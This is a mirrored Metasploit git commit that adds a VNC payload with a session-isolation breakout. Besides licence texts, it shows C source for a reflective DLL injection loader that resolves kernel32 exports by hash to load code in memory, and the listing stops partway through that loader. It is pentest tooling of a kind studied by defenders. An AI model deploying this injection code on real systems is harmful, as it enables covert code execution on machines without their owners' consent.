1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

In with the modified VNC payload which now supports an in memory breakout of session isolation for systems like Vista/2008/7 when the payload is run from a service in session 0 isolation.

git-svn-id: file:///home/svn/framework3/trunk@8890 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Stephen Fewer 2010-03-24 00:00:05 +00:00
parent 5c1cf6aefb
commit 9a4293c445
53 changed files with 5643 additions and 1312 deletions

View File

@ -1,340 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
Appendix: How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) 19yy <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) 19yy name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.

View File

@ -0,0 +1,27 @@
Copyright (C) 2006-2010, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,131 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef _WIN64
DWORD dwMeterpreterArch = 2;
#else
DWORD dwMeterpreterArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwMeterpreterArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwMeterpreterArch != 2 )
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//

View File

@ -0,0 +1,37 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_LOADLIBRARYR_H
#define _VNCDLL_LOADER_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,451 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#ifdef _WIN64
#pragma intrinsic( _ReturnAddress )
UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
#endif
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA;
GETPROCADDRESS pGetProcAddress;
VIRTUALALLOC pVirtualAlloc;
USHORT usCounter;
// the initial location of this image in memory
UINT_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
UINT_PTR uiBaseAddress;
// variables for processing the kernels export table
UINT_PTR uiAddressArray;
UINT_PTR uiNameArray;
UINT_PTR uiExportDir;
UINT_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
UINT_PTR uiHeaderValue;
UINT_PTR uiValueA;
UINT_PTR uiValueB;
UINT_PTR uiValueC;
UINT_PTR uiValueD;
// STEP 0: calculate our images current base address
// we will start searching backwards from our current EIP
#ifdef _WIN64
uiLibraryAddress = eip();
#else
__asm call geteip
__asm geteip: pop uiLibraryAddress
#endif
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
uiBaseAddress = __readfsdword( 0x30 );
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
break;
}
// get the next entry
uiValueA = DEREF( uiValueA );
}
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
